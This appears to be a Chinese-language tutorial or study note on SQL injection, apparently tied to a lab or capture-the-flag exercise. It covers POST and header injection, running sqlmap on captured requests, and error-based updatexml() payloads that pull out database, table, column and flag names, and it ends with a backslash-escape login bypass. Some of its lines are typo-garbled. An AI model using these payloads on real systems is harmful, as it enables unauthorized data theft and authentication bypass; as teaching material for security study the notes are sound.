POST注入
概述
POST
注入就是使用POST
进行传参的注入,本质上和GET
类型的没什么区别
get和post传参最大的区别是数据本身的编码问题(url编码)
POST注入高危点
登录框
查询框
等各种和数据库有交互的框
post注入不能使用sqlmap的原因
sqlmap
回应无法找到注入点,无法扫描。应该在后面添加--form
,可以自动检测输入框,但是这种方法不稳,有时没有用户权限,检测不到。最好的方法是使用-r
(指定数据包),即使用burp
抓取一个数据包来扫描,将登陆时抓取的数据包放入sqlmap
目录下的一个1.txt
文件中,使用命令sqlmap.py -r 1.txt
扫描即可。因为数据包中含有cookie
会证明你的身份,从而获得相应的用户权限,在注入处可以打一个*
号告诉sqlmap
测试那个点。
sqlmap
有时需要你在数据包中相应的位置帮忙闭合,你扫不出的东西可能就能扫出来了。
HEAD注入
Header
注入,该注入是指利用后端验证客户端口信息(比如常用的cookie
验证)或者通过Header
中获取客户端的一些信息(比如User-Agent
用户代理等其他Header
字段信息),因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,又因为后台没有进过相对应的信息处理所以构成了sql
注入。
127.0.0.1
和localhost
使用burp抓不到数据包,这时使用ipconfig
获得内网ip
即可抓到数据包。- 使用burp抓取数据包即可获得并修改头信息。
- 请求头
X-FORWORDED-FOR
是真实网站获取你的ip
的途径。(A->缓存服务器(代理)->真实的网站)。 - 安全问题建议:
XFF
请求头挂127.0.0.1
。
PHP全局变量
PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。
这些超全局变量是:
$_REQUEST
(获取GET/POST/COOKIE
)COOKIE
在新版本已经无法获取了$_POST
(获取POST
传参)
$_GET
(获取GET
的传参)
$_COOKIE
(获取COOKIE
的值)
$_SERVER
(包含了诸如头信息(header
)、路径(path
)、以及脚本位置(script locations
)等等信息的数组)
`
$_SERVER
功能强大(常用的):
SERVE$_R['HTTP_REFERER']
获取Referer请求头数据
$_SERVER["HTTP_USER_AGENT"]
获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER["REMOTE_ADDR"]
浏览网页的用户ip
。
报错注入
updatexml()函数
- 语法:
updatexml
(目标xml内容,xml文档路径,更新的内容),路径不能出现特殊字符。 - 示例:
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
判断显错位:
?id=1 and 1=2 union select 1,2,3#
' or sleep(10),1) -- qwe
'or updatexml(1,concat('!',database()),1),1) -- qwe
'or updatexml(1,concat(0x7e,(select database())),1),1)#
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() )),1),1)#
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag_head' )),1),1)#
'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from head_error.flag_head )),1),1)#
转义字符【绕过单引号等】
\
转义字符,将代码变成字符串,常用于绕过单引号等。
select *from user where username = ' admin\ ' and password=' 123456 '
转义前:' admin '
转移后:' admin\ ' and password= '
新密码: or 1=1 -- qwe